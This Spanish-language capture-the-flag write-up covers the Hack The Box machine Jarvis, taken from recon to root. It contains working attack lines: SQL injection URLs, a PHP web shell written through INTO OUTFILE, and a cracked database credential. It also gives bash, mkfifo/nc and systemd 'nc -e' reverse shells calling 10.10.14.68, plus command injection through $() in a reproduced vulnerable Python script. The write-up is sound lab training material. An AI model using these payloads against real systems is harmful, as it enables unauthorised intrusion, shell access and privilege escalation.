Jarvis HTB WriteUP
Reconnaissance
Nmap Recon Results
Discovery OS System \
Recon Open Ports
Service Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb
http://10.129.1.113 [200 OK] Apache[2.4.25], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[supersecurehotel@logger.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.129.1.113], JQuery, Modernizr[2.6.2.min], Open-Graph-Protocol, Script, Title[Stark Hotel], UncommonHeaders[ironwaf], X-UA-Compatible[IE=edge]
Web Services
dirsearch -u http://10.129.1.113 -w /usr/share/dirb/wordlists/common.txt -e " " -F -x "400,404" -t 100 -o webscan
Comenzaremos fuzzeando el servicio web para hacernos una idea de que directorios podemos encontrar.
Vamos a enumerar el servicio web y por lo que notamos de entrada es una pagina web relacionada con un hotel.
http://10.129.1.113/
Fuzzing del servicio Web
nmap --script http-enum -p 80 10.129.1.113 -T4 -n -oN http-enum
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
fuzzeando el servicio web por el puerto 80 nos damos cuenta que existe ‘phpmyadmin’, eso quiere decir que probablemente el servicio web realize consultas a la base de datos.
Probamos las credentials por defecto pero no funcionan
Bien sabemos que Existe el fichero ChangeLog
que nos sirve para Enumerar la version de PHPMYADMIN
PhpMyAdmin 4.8.0
realizando una busqueda en searchsploit encontramos 2 exploits de Local File Inclusion pero tenemos que autenticarnos asi que por el momento no nos sirve de mucho, continuaremos enumerando el sitio web
La mayor parte del sitio web es estatica, aunque hay 2 secciones donde podemos interactucar una es “Room” y “Dinning Bar” ,en Room vemos que hace uso del parametro "?cod" para realizar consultas
Probamos Sql Injection Basicas, como las siguiente ?cod=1' and sleep (5)
y la respuesta parece no variar pero cuando sacamos la comilla ?cod=1 and sleep (5)
el servidor demora 5 segundos en responder, osea que es vulnerable a **SQLI **
terminamos determinando que el numero de columna son 7, por que cuando intentabamos consultar por el ==“N 6”== en la respuesta veiamos que nos devolvia una imagen con una habitacion ,pero esto no pasaba con el ==“7 “== en adelante. por ejp:
Y en la siguiente imagen fue el punto donde determinamos que el numero de columnas son 7.
como vemos no nos devuelve la imagen de la habitacion.
bien ahora intentaremos listar etiquedas del Union Select
donde inyectaremos nuestras consultas…al final hemos pasado algo de tiempo tratando de listar las etiquetas, para esto tubimos que realizar una consulta a un ‘?cod’ que no existia por ejemplo desde el 7 en adelante.
Enumerando Bases De datos
echo ; for i in `seq 0 100`; do echo "[*] TABLE Nยบ $i $(curl -s "http://supersecurehotel.htb/room.php?cod=7%20union%20select%201,schema_name,3,4,5,6,7%20from%20information_schema.schemata%20limit%20$i,1" | grep "h3" | awk '{print $3}' FS='>' | cut -d '<' -f 1)" ; done
Enumerando Tablas
Enumerando Columnas
DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
bien pasaremos el hash a un archivo de texto y lo crackeremos con john
- Valid Credential
- Pass:
imissyou
- Pass:
Metodo II
hay otra posible instrucion en la maquina a traves de funciones que maneja sql como por ejemplo, volcar contenido a un fichero en un directorio donde tengamos permisos de escritura o asi como tambien podemos cargar ficheros
Example
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,3,4,"Hola esto es una prueba",6,7 into outfile "/var/www/html/images/test.txt" #Proof Write File
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
vemos que la inclusion de archivos funciona, ahora intentamos volcar contenido en un archivo para ver si despues podemos leerlo
http://supersecurehotel.htb/room.php?cod=7 union select 1,2,3,4,"Hola esto es una prueba",6,7 into outfile "/var/www/html/js/test.txt"
y si lo listamos vemos que aparece nuestra estructura de la consulta, ahora intentaremos hacer una web shell
cuando listamos el archivo y vemos que el campo donde hemos metido nuestra webshell no aparece es buena seรฑal ya que se esta interpretando el codigo PHP y no nos lo muestra
injection en la que meteremos nuestra web shell
union select 1,2,3,4,"<?php echo shell_exec($_REQUEST['cmd']); ?>",6,7 into outfile "/var/www/html/js/shell.php"
entablamos una reverse shell desde nuestra webshell, con el siguiente payload
bash -i >%26 /dev/tcp/10.10.14.68/443 0>%261
Priv Esc www-data To Pepper
encontramos el siguiente scrpit en /var/www/Admin-Utilities
que se nos hace interesante y mas sabiendo que tiene para ejecutarse como el usuario pepper
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
analizando el script vemos que la ultima funcion llamada exec_ping
ejecuta el comando ping
, y filtra la entrada por ciertos carateres como
forbidden = ['&', ';', '-', '`', '||', '|']
analizando el script y nos damos cuenta que no filtra los caracteres $()
donde podriamos inyectar comandos asi que realizaremos una pequeรฑa prueba consultamos con El siguiente Recurso donde nos lista varios payloads para injectar comandos
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
ahora nos entablamos una reverse shell para eso vamos a crear un fichero y solamente lo ejecutaremos en la injection
/tmp/shell.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.68 443 >/tmp/f
Priv Esc Pepper To root
enumerando con linpeas nos damos cuenta de que existe un fichero systemctl , con permisos ==SUID== del que podriamos aprovecharnos, asi que procedo a crearme el siguiente servicio
[Service]
Type=notify
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.68 9090"
[Install]
WantedBy=multi-user.target
lo guardo en /dev/shm/lemon.service
hago linkeo el fichero con system ctl para que me lo registre al servicio
systemctl link /dev/shm/lemon.service
systemcel start lemon
nos ponemos en escucha y somos root
Leccines Aprendidas
-
hacer uso de funciones de SQL cuando nos encontramos con una SQLI 1A)
load_file("/etc/passw")
1B)"Esto es una prueba" into Outfile /var/www/html/images/$FileName
-
Crear servicio , realizar el link para que systemctl lo registre , y lanzarlo
[Service]
Type=notify
ExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.68 9090"
[Install]
WantedBy=multi-user.target
Una muy buena maquina ,un encanto ๐๐